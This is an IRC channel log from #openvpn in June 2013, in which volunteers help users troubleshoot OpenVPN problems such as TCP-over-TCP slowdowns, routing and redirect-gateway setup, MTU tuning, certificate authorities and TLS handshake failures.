17:05 < Protected> it gets an error about a failure to validate the certificate password (it has no password though...)
17:08 -!- brianw [~androirc@user-118blcb.cable.mindspring.com] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
17:09 -!- brianw [~androirc@user-118blcb.cable.mindspring.com] has joined #openvpn
17:09 -!- brianw [~androirc@user-118blcb.cable.mindspring.com] has quit [Client Quit]
17:13 -!- novaflash is now known as novaflash_away
17:13 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
17:15 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has quit [Quit: pie_]
17:18 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Ping timeout: 256 seconds]
17:22 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
17:22 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
17:23 -!- novaflash_away is now known as novaflash
17:25 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
17:25 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
17:25 -!- mode/#openvpn [+o novaflash] by ChanServ
17:58 < jave_> hello
17:59 -!- Protected [Join@bl8-192-164.dsl.telepac.pt] has quit [Quit: Gone.]
18:27 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
18:27 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
18:40 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has quit [Quit: Verlassend]
18:52 -!- ually [~wefefr@adsl-ull-181-67.45-151.net24.it] has joined #openvpn
18:54 -!- vaillor [~wefefr@adsl-ull-186-90.45-151.net24.it] has quit [Ping timeout: 252 seconds]
18:54 -!- vaillor [~wefefr@adsl-ull-85-67.45-151.net24.it] has joined #openvpn
18:54 -!- vaillor [~wefefr@adsl-ull-85-67.45-151.net24.it] has quit [Client Quit]
18:57 -!- ually [~wefefr@adsl-ull-181-67.45-151.net24.it] has quit [Ping timeout: 276 seconds]
19:11 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
19:12 < Mike___> Does anyone know tutorial how to create a own VPN client?
19:12 < Mike___> I want to create one with my own graphics and preincluded configs.
19:15 -!- raidz is now known as raidz_away
19:16 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
19:17 < rawtaz> sweet
19:25 < pekster> Mike___: If you mean creating your configs, see !howto for the official guide. You're free to wrap whatever you want around it, although be sure to abide by the GPL license and include the original license info during installation and a reference to the source
19:26 < Mike___> Thx
19:34 -!- novaflash is now known as novaflash_away
19:36 -!- novaflash_away is now known as novaflash
19:59 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
20:02 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
20:06 -!- Willis [Willis@173.234.237.131] has joined #openvpn
20:30 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:33 -!- michaelhart [~michaelha@162.209.54.120] has quit [Client Quit]
20:37 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has joined #openvpn
20:43 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
20:51 -!- emid [~emid@ec2-107-22-8-196.compute-1.amazonaws.com] has quit [Excess Flood]
20:54 -!- Mike___ [~mikeploeg@cable-86-56-59-81.cust.telecolumbus.net] has quit [Remote host closed the connection]
20:57 -!- emid [~emid@ec2-107-22-8-196.compute-1.amazonaws.com] has joined #openvpn
20:59 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
21:58 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
23:06 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:10 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
23:24 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Connection reset by peer]
--- Day changed Sat Jun 15 2013
00:03 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has joined #openvpn
00:47 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
01:07 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
01:33 -!- Varazir [~mircwars@c-94-255-131-207.cust.bredband2.com] has quit [Ping timeout: 245 seconds]
02:05 -!- Varazir [~mircwars@c-94-255-131-153.cust.bredband2.com] has joined #openvpn
02:24 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
02:49 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
03:16 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Quit: Nettalk6 - www.ntalk.de]
03:19 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
03:39 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
05:20 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
05:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:30 -!- nonuby [~nonuby@unaffiliated/nonuby] has joined #openvpn
06:31 < nonuby> when using openvpn udp between client and vpn server does openvpn know when to retry packet delivery or is it "dumb" and relies on higher level protocol embedded in the packets for that (i.e. tcp)
06:33 < kisom> nonuby: It retries.
06:33 < nonuby> just read "OpenVPN in UDP mode will resend data if it is not received at the other end as the encapsulated TCP / IP protocol will recognize the packet loss and try a retransmission of the data." it kinds say otherwise?
06:34 -!- novaflash is now known as novaflash_away
06:34 -!- novaflash_away is now known as novaflash
06:36 < nonuby> it seems only applies to the initial handshake. "The Data channel, established after the SSL/TLS handshake, is a connectionless UDP tunnel where there is no retransmission and ACK mechanism."
06:36 < kisom> Hmm, ok, maybe you're right. Damn, I should know this type of stuff.
06:37 < Aketzu_> openvpn is just like ethernet
06:37 < kisom> But yeah, it looks like you're right, I don't find anything about retransmission on stuff other than the control channel
06:37 < Aketzu_> mostly works, nothing guaranteed
06:37 < nonuby> so I presume when I have a-(50ms)-b-(240ms)-c a is a openvpn client, b is an openvpn server, and c is http server on the other side of the world. a to b has 2% packet loss, and b to c 0%. for http it is better to use tcp data tunnel on a to b so retrans/ack is bound by the higher latency of a-to-c
06:38 < nonuby> is bound --> isnt bound
06:38 < kisom> No, it's not
06:38 < Aketzu_> running tcp on top of tcp might give strange results
06:38 < kisom> TCP-over-TCP is never a good idea
06:38 < Aketzu_> because both do retransmissions
06:39 < kisom> Just let the web server handle the packet loss itself.
06:41 < nonuby> why would both do retransmission if the packet loss is resolved by the smaller rtt between openvpn client (a) and server (b)?
06:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:57 < hjohnson> nonuby: timeouts
06:59 < nonuby> timeouts are default set high, on a-to-b being 50ms it would be a chance in a billion probablity that openvpn tcp tunnel doesnt resolve the missing packets before the http timeouts?
06:59 < nonuby> unless Im missing something - rereading tcp spec..
07:03 < nonuby> okay so I see that on some stack it will calculate 2x rtt (600ms) in my scenario, that would mean openvpn would have to resolve the packet loss at least 4 times before the embedded tcp (for http) seeings retransmssion?
07:05 < hjohnson> nonuby: you also run into the windowing issue at a hiddenl level... it comes down to what the window is for a single connection, and the bandwidth-delay-product for a single tcp session
07:06 < hjohnson> going with udp, this doesn't come into play, since the bandwidth delay product is separate for each tcp session within the udp tunnel
07:06 < hjohnson> (since, well, udp is connectionless)
07:09 < nonuby> interesting, since were multiplexing everything into a single tcp sesison between a and b
07:11 < nonuby> okay so hypothetically, if Im just downloading http://london/10gigcompressed.zip from a to c (a to b being 200ms no pl and no tunnel, and b to c being openvpn 50ms / 2% packet loss) in this scenario Ill see better perf using a tcp tunnel (presuming no internal fragment) as we wont be relying on a-to-c (~300ms) for the tcp retry/acks?
07:12 < hjohnson> no
07:12 < hjohnson> nonuby: running a tcp tunnel you wind up acking the acks, which is stupid
07:13 < hjohnson> so on a tcp tunnel,the server at C sends a packet back to A.  The openVPN tunnel gets the packet at B, and acks it back to C
07:13 < hjohnson> it gets really fugly really quickly
07:13 < hjohnson> in effect, each packet generates two packets
07:14 < hjohnson> (since in tcp you have to ack the packets, and thus depend on the window size.
07:14 < nonuby> ah i missed that point.
07:14 < hjohnson> there really is no good reason to ever use a tcp tunnel, unless you absolutely positively have to due to some inane firewalling reaosn or some shit
07:14 < hjohnson> but even then, it's usually easier to poke udp through
07:15 < hjohnson> unless they do something inane like block everything except tcp 80 and/or tcp 443
07:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:15 < nonuby> another thought, a buffering proxy on B, and use b-to-c openvpn udp tunnel? that should yield optimal perf?
07:15 < hjohnson> there's not a lot that is cachable these days, what with most ewebsites going https.
07:16 < hjohnson> (much to my shagrin, I operate many networks on the far end of satellite links... Facebook going to https by default has destroyed the caching efficiency, and pissed off most of my users who wonder why the network is suddenly so much slower.
07:18 < hjohnson> nonuby: the simple fact of the matter is that a udp tunnel will always be more efficient than a tcp tunnel.
07:18 < hjohnson> this is a solved problem
07:21 < nonuby> fair points, thanks for providing explanation rather than just blanket statements.
07:54 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:43 -!- Mr^Mo [~kvirc@port-92-192-116-49.dynamic.qsc.de] has joined #openvpn
09:04 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
09:37 -!- nonuby [~nonuby@unaffiliated/nonuby] has quit [Remote host closed the connection]
09:39 -!- cnf [x2kWoPPI2z@unaffiliated/cnf] has joined #openvpn
09:49 -!- gor_zilla [~gorzilla@78.129.180.165] has joined #openvpn
09:50 < gor_zilla> hello. i've got a strange error message and i've googled and can't find anything but bug reports and a solution that doesn't work for me
09:51 < gor_zilla> trying to connect to my vps running openvpn as a server. vps has worked with other clients
09:56 < gor_zilla> http://pastebin.com/ZdHj9gQs
09:57 < gor_zilla> last line says Linux ip link set failed: could not execute external program
09:58 < gor_zilla> i wonder if anyone here could help :)
10:02 <@krzee> use verb 4
10:11 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
10:43 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Read error: Connection reset by peer]
10:45 < gor_zilla> sorry the firewall that i'm trying to evade kicked in and killed my ssh
10:45 -!- Mr^Mo [~kvirc@port-92-192-116-49.dynamic.qsc.de] has quit [Quit: KVIrc 4.1.3 Equilibrium http://www.kvirc.net/]
10:45 -!- Mr^Mo [~kvirc@port-92-192-116-49.dynamic.qsc.de] has joined #openvpn
10:48 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
10:48 -!- brad [~brad@78.129.242.122] has quit [Read error: Connection reset by peer]
10:49 -!- Mr^Mo [~kvirc@port-92-192-116-49.dynamic.qsc.de] has quit [Client Quit]
10:50 < gor_zilla> the problem was that it was looking for /usr/bin/ip but in arch it's in /usr/sbin/
10:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
10:55 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Ping timeout: 276 seconds]
10:55 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:58 < EugeneKay> ah, Arch.
11:00 -!- brad [~brad@78.129.242.122] has joined #openvpn
11:01 -!- brad [~brad@78.129.242.122] has quit [Remote host closed the connection]
11:02 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
11:05 -!- brad [~brad@78.129.242.122] has joined #openvpn
11:07 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
11:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:21 -!- ually [~wefefr@adsl-ull-28-89.45-151.net24.it] has joined #openvpn
11:21 -!- ually is now known as vaillor
11:27 < gor_zilla> am i supposed to have 2 default routes? i can ssh to 10.8.0.1 but i can't ping the internet
11:33 < gor_zilla> :/ can anyone recommend a good resource to read up routing tables?
11:49 -!- nikkiheat2 [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
11:51 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Ping timeout: 240 seconds]
11:57 -!- c3ntury [~c3ntury@ks385318.kimsufi.com] has joined #openvpn
11:57 < c3ntury> Hey guys, is it feasible that an ISP could block 'READ' UDP packets only?
11:57 < c3ntury> I seem to be experiencing something of that nature occasionally haha!
11:59 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
12:04 <@krzee> gor_zilla,
12:04 <@krzee> !redirect
12:04 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:04 <@vpnHelper> http://ircpimps.org/redirect.png
12:04 <@krzee> use the flowchart
12:05 -!- c3ntury [~c3ntury@ks385318.kimsufi.com] has quit [Ping timeout: 245 seconds]
12:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:06 <@krzee> your 2 "default routes" are a result of def1 flag to --redirect-gateway  read --redirect-gateway in the manual before you use it, same for its flags like def1 =]
12:07 -!- c3ntury [~c3ntury@ks385318.kimsufi.com] has joined #openvpn
12:11 -!- c3ntury [~c3ntury@ks385318.kimsufi.com] has quit [Ping timeout: 245 seconds]
12:20 < gor_zilla> ah, beautiful. just what i was needing. tyvm
12:23 <@krzee> yw
12:34 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Ping timeout: 256 seconds]
12:37 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:37 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Client Quit]
12:51 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
12:57 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 256 seconds]
12:57 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
12:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:08 < gor_zilla> !nat
13:08 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
13:09 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has joined #openvpn
13:46 -!- Valcorb [~Valcorb@151.236.17.24] has joined #openvpn
13:50 < Valcorb> Hello there! I'm having an issue with openVPN. You see, I'm running two openVPN connections, one only to hide my IP address, the other one is for work.
13:50 < Valcorb> However, we work with PuTTY, but the terminal is extremely slow
13:50 < Valcorb> and screens don't even work (screen -ls & screen -rx)
13:50 < Valcorb> they just keep loading
13:50 < Valcorb> How do I prevent this,
13:50 < Valcorb> ?
13:50 < Valcorb> The speed of the VPN is fine
13:50 < Valcorb> both are.
14:08 -!- Valcorb_ [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:08 <@krzee> tcpdump and load it in wireshark to see whats going on, once you can ping across the vpn, the vpn is working? you may have an mtu issue
14:08 <@krzee> !mtu
14:09 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
14:09 <@krzee> !gigabit
14:09 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
14:09 -!- Protected [~Join@myshelter.net] has joined #openvpn
14:11 -!- Valcorb [~Valcorb@151.236.17.24] has quit [Ping timeout: 248 seconds]
14:11 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
14:29 -!- overtwo [~overtwo@pool-173-60-224-83.lsanca.fios.verizon.net] has joined #openvpn
14:36 -!- vaillor [~wefefr@adsl-ull-28-89.45-151.net24.it] has quit [Ping timeout: 256 seconds]
14:38 < Protected> Hey there
14:39 < Protected> I'm experiencing irregular, severe performance issues on my openvpn tunnel, even though a direct test against the endpoint (server) always returns normal results
14:39 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has quit [Quit: Verlassend]
14:39 < Protected> Does anyone have any clues of potential issues or misconfigurations that can cause this problem? Googling returned a bunch of issues of the sort but they all seem different and not relevant to my situation
14:39 < Protected> I'm using TCP mode
14:40 < Protected> My current bandwidth on a direct connection is about 10mbps
14:40 < Protected> And the ping is a very stable 67ms
14:40 < Protected> Through openvpn, I'm getting ~700kbps and on the worse times as high as 3s latency
14:41 < Protected> Let me know if this problem requires looking into any specific logs or config files and I'll be happy to provide them
14:41 < rob0> !tcp
14:41 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
14:41 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
14:41 < Protected> That's a client side setting?
14:42 < rob0> although, in general TCP should be okay unless there are retransmissions, and a stable connection would probably not have retransmissions.
14:42 < Protected> No harm in trying to change anyway
14:43 < Protected> Are there any other settings you recommend I add for my test in udp mode?
14:43 < rob0> tcpdump might show what's happening during the problem periods
14:43 < rob0> There are lots of suspects here. I just pointed out the most likely one.
14:43 < Protected> Indeed
14:44 < Protected> Ok, give me a couple of minutes
14:44 < rob0> Others include MTU and CPU overload.
14:44 < rob0> !mtu
14:44 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
14:45 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
14:45 < rob0> there's no easy fix for CPU overload, just reduce the load somehow
14:46 -!- Protected [~Join@myshelter.net] has quit [Disconnected by services]
14:47 -!- Prott [~Join@myshelter.net] has joined #openvpn
14:47 < Prott> It's definitely not CPU overload
14:47 -!- Prott is now known as Protected
14:48 < Protected> No improvement on the bandwidth as tested by iperf
14:48 < Protected> For the latency I'll have to wait a few hours and see
14:55 -!- Protected [~Join@myshelter.net] has quit [Disconnected by services]
14:55 -!- Prott [~Join@myshelter.net] has joined #openvpn
14:55 -!- Prott is now known as Protected
14:56 < Protected> Tweaked the MTU, no change on the measured bandwidth once again
14:56 < Protected> It oscillates between 600 and 700 kbps
15:06 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
15:08 -!- Protected [~Join@myshelter.net] has quit [Quit: Gone.]
15:19 -!- Serano_ is now known as Serano
15:23 -!- master_o1_master [~master_of@p4FF243A0.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
15:25 < WinstonSmith> hi i want to run a second ovpn server on the same box. is it enough to change the KEY_CN in easy-rsa/vars and run build-key-server? will i still be able to generate clients for the 1st server after this? or should i use 2 var files?
15:26 -!- master_of_master [~master_of@p4FF24A9F.dip0.t-ipconnect.de] has joined #openvpn
15:27 < WinstonSmith> or change the KEY_DIR too, run everything in different dirs?
15:28 < rob0> If you want them both to have the same CA, meaning that clients can connect to either server, just make another server certificate.
15:29 < rob0> If you want them to be separate, make a new CA and server certificate.
15:29 < WinstonSmith> no no, sorry for being unclear. servers are to be separated from another
15:30 < WinstonSmith> ok. looking through easy-rsa/vars, i see a couple of paths defined. should i change those too then (in a copy of vars), to prevent overwriting?
15:31 < WinstonSmith> e.g. to use easy-rsa/keys_server2 for ex.
15:34 < pekster> Right, to set a new top-level dir
15:35 < pekster> Or export them into the environment after you source the original
15:35  * WinstonSmith nods
15:35 < WinstonSmith> prefers to have a different file
15:35 < WinstonSmith> thanks rob0 and pekster
15:35 < pekster> fwiw, a new version (that's pre-release, so I don't recommend you use it unless you want to be running beta-style software) is designed to make it even easier to manage with your choice of a "vars" file, env-vars, or command options. Source is at !easyrsa-ng (again, eta, danger will robinson)
15:36 < pekster> beta*
15:36 < WinstonSmith> will be back later if i run into a wall
15:36 < WinstonSmith> oh the wonders of the bleeding edge
15:36 < WinstonSmith> but i prefer tested stuff, that box is 3000 km from me
15:36 < pekster> It's a complete re-write becuase I didn't like lots of the 2.x codebase
15:36 < pekster> Right ;)
15:37 < WinstonSmith> any idea when it will leave beta?
15:37  * WinstonSmith ducks and waits for:when its done ;)
15:37 < pekster> I'm going to package up a stable-ish release shortly (got the Windows stuff mostly figured out now, that was a big blocker) and I'm not spending tons of time on it
15:38 < pekster> I'll be wanting feedback then, so keep an eye or subscribe to the users list where I intend to annouce it "soon-ish". Feedback of course appreciated
15:38 < pekster> Initially smart card stuff will be missing (dunno how many people do that with Easy-RSA anyway) but it'll be added in a later tag
15:38 < pekster> Besides that, all the core functionality "should be" ready now
15:38 < WinstonSmith> no smart card here. linux server + win clients mostly
15:39 < WinstonSmith> great piece of software btw. much appreciated!
15:39 < pekster> I'm not really involved in the 2.x stuff (I've send a couple patches, but nothing major.) 3.x is a new codebase and config re-write
15:39 < WinstonSmith> ah
15:40 < WinstonSmith> still
15:40 < WinstonSmith> kudos :)
15:40 < pekster> It's a help, especially since the openssl internals aren't exactly easy to figure out
15:41 < WinstonSmith> as far as i understand, encryption stuff makes it easy to shoot yourself in the foot and leave the barn wide open if you don't know that you're doing
15:41 < WinstonSmith> <== hobby programmer, only what i need for admin'ing
15:41 < pekster> Using openssl as a frontend user on the command line isn't really rolling your own crypto; that warning applies more to writing *code* to do the internal crypto bits
15:41 < WinstonSmith> true
15:42 < pekster> I wrote a PKBDF2-alike clone for a very targeted use, but it's not generally wise to do that when high security is important becuase you risk introducing new bugs
15:42 < pekster> PBKDF2*
15:43 < WinstonSmith> oh, i got i question: how much should roundtrip time suffer if compression is enabled? or is that directly related to processor speed?
15:43 < pekster> It's a trade-off for more CPU vs less bandwidth
15:43 < WinstonSmith> ok
15:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:44 < WinstonSmith> well gotta do this then. thanks for the info! and may the source be with you :)
15:59 -!- Conker [~Conker@S0106c86000ce4307.wp.shawcable.net] has joined #openvpn
16:01 < Conker> I've setup a vpn between a single client and server, the tcp traffic seems quite fast, but for some reason dns resolution is very very slow and very often it just fails and times out, and ideas?
16:02 < pekster> Conker, are you pushing or changing any DNS options to your client by way of a dhcp-option openvpn directive or post-up hook?
16:02 < Conker> pekster: not changing it at all, just currently using googles public 8.8.8.8
16:07 < rob0> redirected gateway, or just site-to-site VPN?
16:09 < Conker> the vpn is the default route
16:09 < Conker> rob0, as long as i think thats what you're asking
16:10 < rob0> If you're redirecting the gateway, you'll usually do better by using a nameserver on the VPN server, a bit less latency anyway.
16:11 < pekster> Keep in mind if you have losses on either the client to server VPN traffic or losses from the server to the anycast DNS (as seen from the server) you suffer both losses combined
16:11 < pekster> Provided you don't have much latency/losses, it should be about the same
16:11 < Conker> even with the tunnel using tcp?
16:11 < Conker> *vpn
16:11 -!- nikkiheat2 [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
16:11 < pekster> !tcp
16:11 < rob0> Why are you using TCP?
16:11 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
16:12 < Conker> yeah, yesterday udp was working, but now the vpn doesnt get connected while using udp
16:14 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
16:15 < pekster> If you tcpdump the outside UDP traffic on both ends it might help give you clues as to why, and that could help explain what you have here
16:15 < Conker> ok :) ill see what i can find
16:24 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 246 seconds]
16:24 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:27 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 252 seconds]
16:28 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
16:28 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
16:28 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
16:29 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
16:29 -!- Varazir [~mircwars@c-94-255-131-153.cust.bredband2.com] has quit [Quit: leaving]
16:32 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
16:36 < Conker> yeah when trying to use udp instead of tcp, it logs TLS Error: TLS key negotiation failed to occur within 60 seconds, and then TLS handshake failed
16:37 < Conker> again and again
16:37 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 276 seconds]
16:38 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
16:38 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
16:38 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
16:39 < pekster> Conker: Right, that's a generic "things didn't happen in the defined timeout" message. More interesting to know would be if any of the packets your client is sending reached your server?
16:39 < rob0> Sounds like the packets aren't getting there. Check firewalls.
16:39 < pekster> Yea, and then why. Something along the way is dropping/refusin gthem
16:42 < Conker> no firewall really, the vpn server is using iptables but only for nat
16:42 < Conker> but ill run tcpdump and see whats up
16:42 < pekster> It could be an upstream delivery problem too, but tcpdump hooks before the firewall, so it's a good way to see what's arriving on the destination's NIC (or isn't arriving)
16:43 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
16:47 < Conker> also if its relevant, i received TLS Error: Unroutable control packet received from [AF_INET]<serverpublicip> (si=3 op=P_ACK_V1)
16:48 < pekster> That error occurs when a TLS packet arrived that could not be associated with an existing TLS session
16:51 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:51 -!- _skycrash_ [~sky@186.212.30.163] has joined #openvpn
16:52 < Conker> well "tcpdump -n udp port 1194" on the vpn server shows the packets arrive and also replies being sent out
16:55 < pekster> Is the client getting them? Do they come from the same source IP?
16:55 < Conker> yes, and yes
16:55 < Conker> both sides are showing the traffic and from their public ip addresses
16:57 < pekster> That should be all you need, as long as they don't suffer too many losses or get modified en-route
16:57 < Conker> so far its the lengths of which are all 142, 50, 54, 70, pretty small
16:57 < _skycrash_> Hi (bad english! lol) well, if any can help me with a little issue.. Openvpn server and client connected, LAN side Server (192.168.100.0/24) can ping ALL hosts in side CLIENT (192.168.200.0/24) including Linux Client (192.168.200.120). Now on side CLIENT can ping ALL hosts in SERVER side EXCEPT the Server (192.168.100.120).. but IP from VPN i can ping .. "172.30.10.1". i really need clients connect and ping IP Server 192.168.100.120. All iptables traffic i
16:57 < pekster> If each packet gives you that unroutable control packet error, it's being rejected for some reason (again, after it fails to be tied to an in-progress TLS session)
16:57 < Conker> the client is a virtual machine, but its being routed not nat'ed
16:58 < pekster> Conker: Yea, the packets are small enough not to cause MTU issues
16:58 -!- landono [~landono@199-58-199-98.acedc.net] has joined #openvpn
16:58 < Conker> yep
16:58 < pekster> Then maybe you have a triangle routing setup where it sends back over an IP it's not receiving on?
16:58 < pekster> Otherwise, I'm not really sure
16:59 < pekster> _skycrash_: you got cut off, but it sounds like you want to route to the server-side LAN? See:
16:59 < pekster> !serverlan
16:59 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
16:59 < pekster> For the reverse (exposing client-side LANs) see !clientlan
17:00 < Conker> just very odd that it was working yesterday as well :p
17:00 < pekster> Usually it's a matter of getting the right routes and firewalls
17:01 < _skycrash_> pekster: yes,, ip_forward enabled in both, and "push" route working too ... i can ping all hosts behind server, excecpt the server
